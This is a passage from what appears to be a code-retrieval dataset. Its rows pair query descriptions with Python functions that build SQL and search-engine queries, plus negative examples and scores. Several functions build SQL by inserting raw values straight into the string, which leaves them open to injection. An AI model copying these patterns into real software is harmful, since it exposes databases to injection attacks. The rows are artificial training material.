query\",\n \"def _datetime_to_query(dt):\\n timestamp = timegm(dt.timetuple())\\n return u\\\"{whole}.{part:06d}\\\".format(\\n whole=timestamp,\\n part=dt.microsecond,\\n )\",\n \"def build(self, pf_query, search_field=\\\"keywords\\\"):\\n stack = Stack()\\n\\n if len(pf_query) == 1:\\n stack.push(Q('match', **{search_field: pf_query[0][1]}))\\n\\n for token in pf_query:\\n if token in bool_values:\\n q1 = stack.pop()\\n q2 = stack.pop()\\n\\n result = q1 & q2 if token == 'AND' else q1 | q2\\n stack.push(result)\\n else:\\n q = None\\n if token[0] == 'KEYWORD':\\n q = Q('match', **{search_field: token[1]})\\n else:\\n q = Q('match', **{search_field: \\\" \\\".join(token[1])})\\n stack.push(q)\\n\\n return stack.pop()\",\n \"def get_query(self, minimal: bool = False) -> Optional[str]:\\n if minimal:\\n return self.minimal_query\\n return self.query\",\n \"def query(db_dir, out_dir, part_l, doc_cols, term_cols,\\n docfn=None, termfn=None, countfn=None,\\n doc_ind=\\\"doc_id\\\", term_ind=\\\"term_id\\\", doc_fp=\\\"doc_%s.csv\\\",\\n term_fp=\\\"term.csv\\\", count_fp=\\\"count_%s.csv\\\", **kwds):\\n\\n coord = Coordinator(**kwds)\\n\\n # prep term id\\n term = pd.read_csv(os.path.join(db_dir, term_fp))\\n if termfn:\\n term = termfn(term, db_dir)\\n term_map = term.reset_index(drop=True)\\n term_map.index.name = \\\"term_ind\\\"\\n term_map = term_map.reset_index()\\n term_map = term_map.set_index(term_ind)[\\\"term_ind\\\"]\\n term[\\\"term_id\\\"] = term[term_ind].map(term_map)\\n if term_cols:\\n term = term[term_cols]\\n term.to_csv(os.path.join(out_dir, \\\"term.csv\\\"), index=False)\\n\\n # run part query\\n coord.map(part_query, part_l, db_dir=db_dir, out_dir=out_dir,\\n docfn=docfn, countfn=countfn, doc_cols=doc_cols,\\n doc_ind=doc_ind, term_ind=term_ind, term_map=term_map,\\n doc_fp=doc_fp, count_fp=count_fp,\\n gather=True, pure=False)\",\n \"def _create_split(last_key, next_key, query):\\n if not (last_key or next_key):\\n return query\\n\\n split_query = query_pb2.Query()\\n split_query.CopyFrom(query)\\n composite_filter = split_query.filter.composite_filter\\n composite_filter.op = CompositeFilter.AND\\n\\n if query.HasField('filter'):\\n composite_filter.filters.add().CopyFrom(query.filter)\\n\\n if last_key:\\n lower_bound = composite_filter.filters.add()\\n lower_bound.property_filter.property.name = KEY_PROPERTY_NAME\\n lower_bound.property_filter.op = PropertyFilter.GREATER_THAN_OR_EQUAL\\n lower_bound.property_filter.value.key_value.CopyFrom(last_key)\\n\\n if next_key:\\n upper_bound = composite_filter.filters.add()\\n upper_bound.property_filter.property.name = KEY_PROPERTY_NAME\\n upper_bound.property_filter.op = PropertyFilter.LESS_THAN\\n upper_bound.property_filter.value.key_value.CopyFrom(next_key)\\n\\n return split_query\",\n \"def queryGenerator(itemset,venue,min_runs):\\n level=len(itemset)\\n partners=[[] for k in range(level)]\\n for j in range(level):\\n for i in range(level):\\n partners[i].append({'partner'+str(j+1):itemset[i]})\\n k=itemset.pop(0)\\n itemset.append(k)\\n ors=[]\\n for cond in partners:\\n ors.append({'$and':cond})\\n \\n match={}\\n match['$or']=ors\\n match['total_runs']={'$gte':30}\\n if venue:\\n match['venue']=venue\\n\\n return match\",\n \"def _build_beets_album_query(self, query):\\n beets_query = \\\"\\\"\\n for key in query.keys():\\n if key != 'any':\\n if key == 'artist':\\n beets_query += 'albumartist'\\n else:\\n beets_query += key\\n beets_query += \\\":\\\" + \\\" \\\".join(query[key]) + \\\" \\\"\\n logger.info('from %s constructed beets_album_query %s',query,beets_query)\\n return '\\\\'%s\\\\'' % beets_query.strip()\",\n \"def build(self) -> str:\\n query = \\\"{Get{\\\"\\n\\n for get in self.get_builder:\\n query += get.build(wrap_get=False)\\n return query + \\\"}}\\\"\",\n \"def process_join(data: JoinedQueryData, verbose: bool) -> str:\\n # The collection (sometimes referred to as \\\"type\\\" in the docs) to join\\n string = 'type:' if verbose else ''\\n string += str(data.collection)\\n # The fields used to link the two collections\\n if (parent := data.field_on) is not None:\\n string += f'^on:{parent}'\\n if (child := data.field_to) is not None:\\n string += f'^to:{child}'\\n # Flags\\n if (is_list := data.is_list) or verbose:\\n string += '^list:' + ('1' if is_list else '0')\\n if not (is_outer := data.is_outer) or verbose:\\n string += '^outer:' + ('1' if is_outer else '0')\\n # Show/hide field lists\\n if show := data.show:\\n string += '^show:' + '\\\\''.join(str(s) for s in show)\\n elif hide := data.hide:\\n string += '^hide:' + '\\\\''.join(str(s) for s in hide)\\n # Inject at name\\n if (name := data.inject_at) is not None:\\n string += f'^inject_at:{name}'\\n # QueryBase terms\\n if terms := data.terms:\\n string += '^terms:' + '\\\\''.join(t.serialise() for t in terms)\\n # Process nested (inner) joins\\n if joins := data.joins:\\n string += f'({\\\",\\\".join(process_join(j, verbose) for j in joins)})'\\n return string\",\n \"def build_range_clause(field, quantifier, string):\\r\\n range_str = {}\\r\\n if quantifier == '<':\\r\\n range_str['lt'] = string\\r\\n elif quantifier == '<=':\\r\\n range_str['lte'] = string\\r\\n elif quantifier == '>':\\r\\n range_str['gt'] = string\\r\\n elif quantifier == '>=':\\r\\n range_str['gte'] = string\\r\\n elif quantifier == '!=' or quantifier == '==':\\r\\n print('Wrong function called for ', quantifier)\\r\\n return\\r\\n else:\\r\\n print('bad quantifier input')\\r\\n return\\r\\n answer = {}\\r\\n tmp = {}\\r\\n tmp[field] = range_str\\r\\n answer['range'] = tmp\\r\\n return answer\",\n \"def build_fetch_query(last_date):\\n fixed_query = demisto.params()[\\\"fetch_query\\\"]\\n\\n if \\\"WHERE\\\" in fixed_query:\\n fixed_query += \\\" AND\\\"\\n else:\\n fixed_query += \\\" WHERE\\\"\\n\\n fetch_time_field = demisto.params().get(\\\"fetch_time_field\\\", \\\"CreationTime\\\")\\n fetch_query = \\\"{} `{}` > \\\\\\\"{}\\\\\\\"\\\".format(fixed_query, fetch_time_field, last_date)\\n return fetch_query\",\n \"def part_id(self):\\n ...\",\n \"def Select(query):\\n party = None\\n if query.find('and party') != -1:#it means there is an additional condition added\\n pos = query.find('and party')\\n party_name = query[(pos + len('and party')):]\\n query = query[0:pos]\\n party_name = party_name.replace('=', '').replace(\\\"'\\\", '')\\n party_name = party_name.strip()\\n party = acm.FParty[party_name]\\n return_result = FRegulatoryUtils.Select(query, \\\"FContact\\\", party)\\n return return_result\",\n \"def mkaquery(composed, extra=None):\\n if not IComposedQuery.providedBy(composed):\\n raise ValueError('query must provide IComposedQuery interface')\\n conjunction = {'AND': AdvancedQuery.And,\\n 'OR': AdvancedQuery.Or}[composed.interindex_operator]\\n queries = {}\\n conjunctions = {}\\n for qf in composed.filters:\\n if qf.index in queries:\\n #more than one query to same index\\n query = queries[qf.index]\\n if isinstance(query, list):\\n query.append(aquery_filter(qf))\\n else:\\n queries[qf.index] = [query, aquery_filter(qf)]\\n conjunctions[qf.index] = {'AND': AdvancedQuery.And,\\n 'OR': AdvancedQuery.Or}[qf.conjunction]\\n else:\\n queries[qf.index] = aquery_filter(qf)\\n for index in [k for k,v in queries.items() if isinstance(v,list)]:\\n intraindex_conjunction = conjunctions[index]\\n queries[index] = intraindex_conjunction(*queries[index]) #list->And/Or\\n if extra is not None:\\n if isinstance(extra, AdvancedQuery._BaseQuery):\\n extra = [extra]\\n extra = list(extra)\\n for q in extra:\\n somekey = 'extra%s' % extra.index(q) #unused, but must be unique\\n queries[somekey] = q #add query value for use\\n return conjunction(*optimize_query_order(queries.values()))\",\n \"def query_b(geoType,keyCol,**valConstraint):\\n query = \\\"SELECT \\\" + \\\"osm_id\\\"\\n for a in keyCol: query+= \\\",\\\"+ a \\n query += \\\" FROM \\\" + geoType + \\\" WHERE \\\"\\n # If there are values in the dictionary, add constraint clauses\\n if valConstraint: \\n for a in [*valConstraint]:\\n # For each value of the key, add the constraint\\n for b in valConstraint[a]: query += a + b\\n query+= \\\" AND \\\"\\n # Always ensures the first key/col provided is not Null.\\n query+= \\\"\\\"+str(keyCol[0]) +\\\" IS NOT NULL\\\" \\n return query\",\n \"def _parse_spec(self, spec):\\n operators = ('ne', 'gt', 'gte', 'lt', 'lte', 'in', 'nin', 'mod', 'all', 'size', 'exists', 'not')\\n \\n new_spec = {}\\n for key, value in spec.iteritems():\\n elements = key.split('__')\\n op = None\\n if elements[-1] in operators:\\n op = elements.pop()\\n\\n field_spec, last_field = self.document._meta.resolve_subfield_hierarchy(elements, get_field = True)\\n if last_field is not None:\\n # TODO value should be properly prepared\\n value = last_field.to_query(value)\\n\\n # TODO \\n\\n if op is not None:\\n value = { \\\"$%s\\\" % op : value }\\n\\n new_spec[\\\".\\\".join(field_spec)] = value\\n \\n return new_spec\",\n \"def query_join(*query_list):\\n return \\\"&\\\".join(query_list)\",\n \"def part(self, part):\\n if part is None:\\n self.first_part = True\\n self.second_part = True\\n elif part == 1:\\n self.first_part = True\\n self.second_part = False\\n elif part == 2:\\n self.first_part = False\\n self.second_part = True\\n else:\\n raise ValueError\",\n \"def parse_query(request):\\n\\n querystring = request.uri['query']\\n fp = StringIO(querystring)\\n\\n headers = {}\\n headers['content-type'] = request.message.get('content-type')\\n headers['content-length'] = request.message.get('content-length')\\n\\n environ = {}\\n environ['REQUEST_METHOD'] = request.method\\n\\n boundary = request.message.get('boundary')\\n\\n query = cgi.FieldStorage( fp = fp\\n , headers = headers\\n , outerboundary = boundary\\n , environ = environ\\n , keep_blank_values = True\\n , strict_parsing = False\\n )\\n\\n return query\",\n \"def find_some(self,table,field_list,**query_dict):\\n start_sql = 'SELECT '\\n sql = ''\\n query_sql = ''\\n for field in field_list: start_sql += field + ',' \\n start_sql = start_sql[0:-1] + ' FROM %s WHERE ' % (table)\\n try:\\n if query_dict:\\n for index in query_dict:\\n if not isinstance(query_dict[index],dict): query_sql += \\\" %s = '%s' and\\\" % (index,query_dict[index]) \\n else: query_sql += \\\" %s %s '%s' and\\\" % (index,query_dict[index]['rule'],query_dict[index]['value'])\\n sql = (start_sql + query_sql)[0:-3] \\n info_list = self.db.query(sql)\\n except Exception,e: self.treat_except(e) \\n return info_list\",\n \"def wholeFieldPredicate(field):\\n\\n if field:\\n return (field, )\\n else:\\n return ()\",\n \"def test_build_field_query(field, value, expected):\\n assert _build_field_query(field, value).to_dict() == expected\",\n \"def build_query(self):\\r\\n query = super().build_query()\\r\\n query = query.filter(Metric.metric_id == MlModelMetric.metric_id)\\r\\n algorithm = request.args.get('algorithm')\\r\\n if algorithm is not None:\\r\\n query = query.filter(MlModelMetric.algorithm == algorithm)\\r\\n return query\",\n \"def getFullQuery(self,queryId):\\r\\n\\t\\tfields={}\\r\\n\\t\\tfields['parametri']=self.getParametri(queryId)\\r\\n\\t\\tfields['marchi']=self.getMarchi(queryId)\\r\\n\\t\\tfields['potenziali']=self.getPotenziali(queryId)\\r\\n\\t\\treturn fields\",\n \"def __produceBlock(self, qType, qList=None):\\n block = \\\"\\\"\\n first = True\\n for query in (qList if not (qList is None) else self.queries[qType]):\\n if first:\\n block += qType + \\\":\\\" + query\\n first = False\\n else:\\n block += self.connectorStrings[\\\"or\\\"] + qType + \\\":\\\" + query\\n return block\",\n \"def test_build_preservation_query(self):\\n preservation_types = list(set([\\\"foo\\\", \\\"bar\\\"]))\\n query = build_preservation_query(preservation_types)\\n # TODO: why does this give the preservation type of \\\"FROZEN\\\"?\\n expected_query = Q(metadata__preservation__iexact=\\\"FROZEN\\\")\\n # expected_query = {'metadata__preservation__iexact': \\\"FROZEN\\\"}\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"foo\\\", \\\"frozen\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FROZEN\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"foo\\\", \\\"ffpe\\\"]))\\n query = build_preservation_query(preservation_types)\\n # TODO: why does this give the preservation type of \\\"FFPE\\\"?\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"foo\\\", \\\"FFPE\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"frozen\\\", \\\"ffpe\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"frozen\\\", \\\"FFPE\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"FROZEN\\\", \\\"ffpe\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"FROZEN\\\", \\\"FFPE\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"FFPE\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"ffpe\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FFPE\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"frozen\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FROZEN\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"Frozen\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FROZEN\\\")\\n self.assertEqual(query, expected_query)\\n\\n preservation_types = list(set([\\\"FROZEN\\\"]))\\n query = build_preservation_query(preservation_types)\\n expected_query = Q(metadata__preservation__iexact=\\\"FROZEN\\\")\\n self.assertEqual(query, expected_query)\",\n \"def get_query(self):\\r\\n\\r\\n split = self.path_s.split(\\\"?\\\", 1)\\r\\n if len(split) == 1: return \\\"\\\"\\r\\n else: return split[1]\",\n \"def _prepare_query(\\n self,\\n string: str,\\n *,\\n rank: bool = True,\\n exact_match: bool = False,\\n fuzziness: str = 'AUTO',\\n prefix_length: int = 0,\\n max_expansions: int = 50,\\n transpositions: bool = True,\\n ) -> Dict[str, Any]:\\n if exact_match:\\n query_body = {\\n 'match': {\\n 'term': string\\n }\\n }\\n else:\\n query_body = {\\n 'fuzzy': {\\n 'term': {\\n 'value': string,\\n 'fuzziness': fuzziness,\\n 'prefix_length': prefix_length,\\n 'max_expansions': max_expansions,\\n 'transpositions': transpositions,\\n }\\n }\\n }\\n\\n query = {'sort': [{'_score': 'desc'}]} if rank else {}\\n query.update({'query': query_body})\\n return query\",\n \"def get_query():\\n query = \\\"\\\"\\\"{\\n repository(name: \\\"flux\\\", owner: \\\"fluxcd\\\") {\\n forkCount\\n issues {\\n totalCount\\n }\\n pullRequests {\\n totalCount\\n }\\n releases {\\n totalCount\\n }\\n stargazers {\\n totalCount\\n }\\n watchers {\\n totalCount\\n }\\n }\\n}\\n \\\"\\\"\\\"\\n return query\",\n \"def get_query_fields(cls):\\n ...\",\n \"def _query_fields(data):\\n keys = data.keys() # Do this once to avoid any issue with dictionary order.\\n column_fields = ', '.join(keys)\\n value_fields = ', '.join('%({})s'.format(field) for field in keys)\\n return column_fields, value_fields\",\n \"def make_query(self, query, data: Dict):\\n return query.format_map(data)\",\n \"def create_query_sting(param_dict):\\n params = \\\"&\\\".join([f\\\"{key}={value}\\\" for key, value in param_dict.items()])\\n return params.replace(\\\"#\\\", \\\"%23\\\")\",\n \"def build_phone_match_clause_inner(field, string):\\r\\n answer = build_phone_match_clause(field, string)\\r\\n answer['meta'] = ['inner']\\r\\n return answer\",\n \"def _create_query_string(self, query):\\n # Check for a result type, if none found, set it to default.\\n result_type = query.result_type\\n if not result_type:\\n result_type = self.default_result_type\\n\\n # Check to if the result type is valid\\n if result_type not in RESULT_TYPES:\\n raise QueryParamException(self.name, \\\"Engine doesn't support query result type '{0}'\\\"\\n .format(query.result_type))\\n\\n search_params = {'result_type': result_type,\\n 'q': query.terms}\\n\\n query_append = \\\"search?q={}&type={}&access_token={}\\\".format\\\\\\n (search_params['q'], search_params['result_type'], self.api_key)\\n\\n return API_ENDPOINT + encode_symbols(query_append)\",\n \"def test_get_part(self):\\n pass\",\n \"def _gen_cat_query(self,query_fields=None):\\n if query_fields is None:\\n object_id_fields = ['decals_id','brick_primary','brickid','ra','dec','gaia_pointsource']\\n mag_fields = ['mag_g','mag_r','mag_z','mag_w1','mag_w2','mag_w3','mag_w4']\\n snr_fields = ['snr_g','snr_r','snr_z','snr_w1','snr_w2','snr_w3','snr_w4']\\n query_fields = object_id_fields+mag_fields+snr_fields\\n \\n database = \\\"ls_dr7.tractor\\\"\\n self.query = dlsurvey._default_query_str(query_fields, database, self.coord, self.radius)\",\n \"def es_query_proto(path, selects, wheres, schema):\\n output = None\\n last_where = MATCH_ALL\\n for p in reversed(sorted( wheres.keys() | set(selects.keys()))):\\n where = wheres.get(p)\\n select = selects.get(p)\\n\\n if where:\\n where = AndOp(where).partial_eval().to_esfilter(schema)\\n if output:\\n where = es_or([es_and([output, where]), where])\\n else:\\n if output:\\n if last_where is MATCH_ALL:\\n where = es_or([output, MATCH_ALL])\\n else:\\n where = output\\n else:\\n where = MATCH_ALL\\n\\n if p == \\\".\\\":\\n output = set_default(\\n {\\n \\\"from\\\": 0,\\n \\\"size\\\": 0,\\n \\\"sort\\\": [],\\n \\\"query\\\": where\\n },\\n select.to_es()\\n )\\n else:\\n output = {\\\"nested\\\": {\\n \\\"path\\\": p,\\n \\\"inner_hits\\\": set_default({\\\"size\\\": 100000}, select.to_es()) if select else None,\\n \\\"query\\\": where\\n }}\\n\\n last_where = where\\n return output\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6225745","0.60901934","0.60255617","0.5791044","0.5705478","0.56317335","0.5615809","0.55866855","0.5552422","0.5450757","0.5444924","0.54353344","0.53419","0.5271756","0.5258663","0.5253045","0.5239043","0.5230882","0.52274454","0.52210087","0.52185774","0.5203289","0.5196843","0.5195039","0.51370955","0.51234835","0.5105016","0.5103237","0.5100021","0.5091808","0.50682646","0.5046502","0.50373536","0.50367975","0.5030839","0.5027641","0.5021683","0.49981534","0.49957633","0.49836105","0.49824697","0.49815533","0.49754506","0.49684906","0.49596652","0.49593735","0.4957938","0.49514484","0.49449703","0.49264732","0.4924489","0.49201548","0.49170378","0.49060008","0.48991585","0.4897026","0.48774838","0.48721933","0.48627192","0.48574686","0.48545727","0.4826847","0.4824721","0.4821297","0.481502","0.4804166","0.47940236","0.4787347","0.47845384","0.47790354","0.47747633","0.47731373","0.475099","0.4746368","0.47344092","0.4729671","0.47272488","0.47173414","0.47103226","0.47086915","0.470791","0.47029325","0.46946332","0.46931645","0.46853042","0.46802956","0.46795934","0.46790728","0.46784544","0.46606696","0.4655641","0.46506205","0.46485934","0.46460545","0.46452898","0.46433917","0.46422598","0.46401957","0.46341276","0.46333194"],"string":"[\n \"0.6225745\",\n \"0.60901934\",\n \"0.60255617\",\n \"0.5791044\",\n \"0.5705478\",\n \"0.56317335\",\n \"0.5615809\",\n \"0.55866855\",\n \"0.5552422\",\n \"0.5450757\",\n \"0.5444924\",\n \"0.54353344\",\n \"0.53419\",\n \"0.5271756\",\n \"0.5258663\",\n \"0.5253045\",\n \"0.5239043\",\n \"0.5230882\",\n \"0.52274454\",\n \"0.52210087\",\n \"0.52185774\",\n \"0.5203289\",\n \"0.5196843\",\n \"0.5195039\",\n \"0.51370955\",\n \"0.51234835\",\n \"0.5105016\",\n \"0.5103237\",\n \"0.5100021\",\n \"0.5091808\",\n \"0.50682646\",\n \"0.5046502\",\n \"0.50373536\",\n \"0.50367975\",\n \"0.5030839\",\n \"0.5027641\",\n \"0.5021683\",\n \"0.49981534\",\n \"0.49957633\",\n \"0.49836105\",\n \"0.49824697\",\n \"0.49815533\",\n \"0.49754506\",\n \"0.49684906\",\n \"0.49596652\",\n \"0.49593735\",\n \"0.4957938\",\n \"0.49514484\",\n \"0.49449703\",\n \"0.49264732\",\n \"0.4924489\",\n \"0.49201548\",\n \"0.49170378\",\n \"0.49060008\",\n \"0.48991585\",\n \"0.4897026\",\n \"0.48774838\",\n \"0.48721933\",\n \"0.48627192\",\n \"0.48574686\",\n \"0.48545727\",\n \"0.4826847\",\n \"0.4824721\",\n \"0.4821297\",\n \"0.481502\",\n \"0.4804166\",\n \"0.47940236\",\n \"0.4787347\",\n \"0.47845384\",\n \"0.47790354\",\n \"0.47747633\",\n \"0.47731373\",\n \"0.475099\",\n \"0.4746368\",\n \"0.47344092\",\n \"0.4729671\",\n \"0.47272488\",\n \"0.47173414\",\n \"0.47103226\",\n \"0.47086915\",\n \"0.470791\",\n \"0.47029325\",\n \"0.46946332\",\n \"0.46931645\",\n \"0.46853042\",\n \"0.46802956\",\n \"0.46795934\",\n \"0.46790728\",\n \"0.46784544\",\n \"0.46606696\",\n \"0.4655641\",\n \"0.46506205\",\n \"0.46485934\",\n \"0.46460545\",\n \"0.46452898\",\n \"0.46433917\",\n \"0.46422598\",\n \"0.46401957\",\n \"0.46341276\",\n \"0.46333194\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.70095813"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":82192,"cells":{"query":{"kind":"string","value":"(obj, str, list, list) > (str) Returning \"insert\" SQL statement with values."},"document":{"kind":"string","value":"def form_insert_query(self, table_name, input_data, table_fields_names=None, table_fields_types=None):\n\n\t\t# creating first part of the query -> section with columns' names\n\t\tquery_table_structure = self.build_query_part(table_fields_names, table_fields_types, query_part=1)\n\n\t\t# creating second part of the query -> section with values\n\t\tquery_values = self.build_query_part(input_data, table_fields_types, query_part=2)\n\t\t\n\t\t# form query\n \t\tquery = 'INSERT INTO ' + table_name + ' ' + query_table_structure + ' VALUES ' + query_values\n\n\t\treturn query"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def _insert_sql(self, table, insert_values):\n if isinstance(insert_values, dict):\n keys = []\n values = []\n for k, v in insert_values.items():\n keys.append(k)\n if v is None:\n values.append('')\n elif isinstance(v, str):\n v = \"'\" + str(v).replace(\"'\", \"''\") + \"'\"\n values.append(v)\n elif isinstance(v, datetime.datetime):\n v = \"'\" + str(v) + \"'\"\n values.append(v)\n else:\n values.append(str(v))\n keys = \",\".join(keys)\n values = \",\".join(values)\n sql = \"INSERT INTO %s (%s) VALUES (%s)\" % (table, keys, values)\n return sql\n elif isinstance(insert_values, (tuple, list)):\n values = []\n for v in insert_values:\n if v is None:\n values.append('')\n elif isinstance(v, str):\n v = \"'\" + str(v).replace(\"'\", \"''\") + \"'\"\n values.append(v)\n elif isinstance(v, datetime.datetime):\n v = \"'\" + str(v) + \"'\"\n values.append(v)\n else:\n values.append(str(v))\n values = \",\".join(values)\n sql = \"INSERT INTO %s VALUES (%s)\" % (table, values)\n return sql\n else:\n raise TypeError( # pragma: no cover\n \"unexpected type: \" + str(type(insert_values)))","def getSQL_insert(table, **kwargs):\n ks = ''\n vs = ''\n for k, v in kwargs.items():\n ks += k + ','\n if isNumber(v) or v == 'null':\n vs += str(v) + ','\n else:\n vs += \"'\" + v + \"',\"\n\n return 'INSERT INTO %s (%s) VALUES (%s)' % (table, ks[:-1], vs[:-1])","def make_insert_row(table_str, attribute_value_dict): #works\n#Aanpassen zodat query niet uitgevoerd wordt als pk al bestaat\n #initialize input for string formatting\n attributes_string = \"(\"\n values_list = []\n #retrieve attributes and values from dictionary and add them to the string\n for key in attribute_value_dict:\n values_list += [attribute_value_dict[key]]\n attributes_string += \"%s, \" % key\n attributes_string = attributes_string[:(len(attributes_string)-2)]\n attributes_string += ')'\n values = str(tuple(values_list))\n sql = \"\"\"INSERT INTO `%s` %s VALUES %s \"\"\" % (table_str, attributes_string, values)\n return sql","def getSQL_insert_ex(table, dict):\n ks = ''\n vs = ''\n for k, v in dict.items():\n ks += k + ','\n if v == None:\n v = 'null'\n if isNumber(v) or v == 'null':\n vs += str(v) + ','\n elif str(type(v)) == \"<type 'datetime.datetime'>\":\n vs += \"'\" + v.strftime('%Y-%m-%d %H:%M:%S') + \"',\"\n elif str(type(v)) == \"<type 'datetime.time'>\":\n vs += \"'\" + v.strftime('%H:%M:%S') + \"',\"\n else:\n vs += \"'\" + v + \"',\"\n\n return 'INSERT INTO %s (%s) VALUES (%s)' % (table, ks[:-1], vs[:-1])","def insert_row(table_str, attribute_value_dict): #works\n sql = make_insert_row(table_str, attribute_value_dict)\n #print sql\n execute_edit_queries(sql)","def insert(self, table, insert_values, cursor=None, nolog=True):\n if isinstance(insert_values, list):\n # we expect several insertion\n if self._engine != \"SQLite\":\n for d in insert_values:\n self.insert(table, d, cursor)\n else:\n if isinstance(insert_values[0], dict):\n ins = {}\n for k in insert_values[0]:\n ins[k] = \":\" + k\n sql = self._insert_sql(table, ins)\n else:\n q = tuple('?' for _ in insert_values[0])\n sql = self._insert_sql(table, q).replace(\"'\", \"\")\n\n sql = sql.replace(\"'\", \"\")\n try:\n if not nolog: # pragma: no cover\n if len(sql) > 1000:\n self.LOG(\"SQLs\", sql[:1000])\n else:\n self.LOG(\"SQLs\", sql)\n self._connection.executemany(sql, insert_values)\n return \"\"\n except Exception as e:\n raise ExceptionSQL( # pylint: disable=W0707\n \"Unable to execute a SQL request (3) (cursor %r) (file %r)\" %\n (str(cursor), self.get_file()), e, sql)\n\n elif isinstance(insert_values, dict):\n sql = self._insert_sql(table, insert_values)\n\n try:\n if not nolog: # pragma: no cover\n if len(sql) > 1000:\n self.LOG(\"SQLs\", sql[:1000])\n else:\n self.LOG(\"SQLs\", sql)\n if cursor is not None:\n cursor.execute(sql)\n else:\n if self._buffer_insert_s > 0:\n self._buffer_insert.append(sql)\n\n if len(self._buffer_insert) >= self._buffer_insert_s:\n for s in self._buffer_insert:\n self._connection.execute(s)\n del self._buffer_insert[:]\n else:\n self._connection.execute(sql)\n\n return sql\n except Exception as e:\n raise ExceptionSQL( # pylint: disable=W0707\n \"unable to execute a SQL request (2) (cursor %r) (file %r)\" %\n (str(cursor), self.get_file()), e, sql)\n\n else:\n raise DBException( # pragma: no cover\n \"insert: expected type (list of dict or dict) instead of %s\" %\n (str(\n type(insert_values))))","def generate_insert_sql(self, fields, values):\n return \"INSERT INTO %s (%s) VALUES(%s)\" % (self.tablename, fields,\n ','.join([sql_quote(x) for x in values]))","def generic_db_insert(db_obj, db_cur, tables, key_cv, value_cv,\n where_str=None, where_args=[]):\n\n # sanity check\n if len(value_cv) != 1:\n nori.core.email_logger.error(\n'''Internal Error: multiple value_cv entries supplied in call to\ngeneric_db_insert(); call was (in expanded notation):\n\ngeneric_db_insert(\n db_obj={0},\n db_cur={1},\n tables={2},\n key_cv={3},\n value_cv={4},\n where_str={5},\n where_args={6}\n)\n\nExiting.'''.format(*map(nori.pps, [db_obj, db_cur, tables, key_cv, value_cv,\n where_str, where_args]))\n )\n sys.exit(nori.core.exitvals['internal']['num'])\n\n # assemble the query string and argument list\n# query_args = []\n# query_str = 'INSERT INTO '\n# if isinstance(tables, nori.core.MAIN_SEQUENCE_TYPES):\n# query_str += ', '.join(tables)\n# else:\n# query_str += tables\n# query_str += '\\n'\n# set_parts = []\n# query_str += 'SET ' + ', '.join(set_parts) + '\\n'\n# for cv in key_cv:\n# if len(cv) > 2:\n# where_parts.append('({0} = %s)'.format(cv[0]))\n# query_args.append(cv[2])\n# for cv in value_cv:\n# set_parts.append('{0} = %s'.format(cv[0]))\n# query_args.append(cv[2])\n\n # execute the query\n# ret = db_obj.execute(db_cur, query_str.split(), query_args,\n# has_results=False)\n# return None if not ret else True\n return None","def dbinsert(db,table,**assignments):\n cols = \"\"\n vals = \"\"\n values = []\n for k,v in assignments.items():\n if cols!=\"\": cols += \",\"\n cols += k\n if vals!=\"\": vals += \",\"\n vals += \"?\"\n values.append(v)\n cmd = \"insert or replace into \"+table+\" ( \"+cols+\" ) values ( \"+vals+\" ) \"\n params = list(values)\n # print cmd,params\n cur = db.cursor()\n cur.execute(cmd,params)\n cur.close()\n del cur","def info_insert(tbl_mgr, table_str, row_arr):\n val_str = \"(\"\n\n for col in range(len(row_arr)):\n if col > 0:\n val_str += \", \"\n if row_arr[col] is None:\n val_str += \"NULL\"\n else:\n val_str += \"'\" + row_arr[col] + \"'\"\n val_str += \")\"\n\n return tbl_mgr.insert_stmt(table_str, val_str)","def Insert(self):\n sql = 'INSERT INTO %s ( %s ) VALUES ( %s )' % (\n self.table_name,\n ', '.join(self.values),\n ', '.join(['?' for _ in self.values])\n )\n return Database().Execute(sql, tuple(self.values.values()))","def insert_statement() -> str:\n pass","def to_insert(table, d):\n\n columns = []\n args = []\n for key, val in d.items():\n columns.append('\"{}\"'.format(key))\n args.append(val)\n stmt = 'insert into {table} ({columns}) values ({params})'.format(\n table=table,\n columns=', '.join(columns),\n params=', '.join(f'${i + 1}' for i in range(len(columns)))\n )\n return (stmt, args)","def build_insert_expression(data_dict, table_to_insert):\n\n command_str_left = \"INSERT INTO \" + table_to_insert + \" (\"\n command_str_right = \" VALUES (\"\n\n for field_name in data_dict:\n field_value = 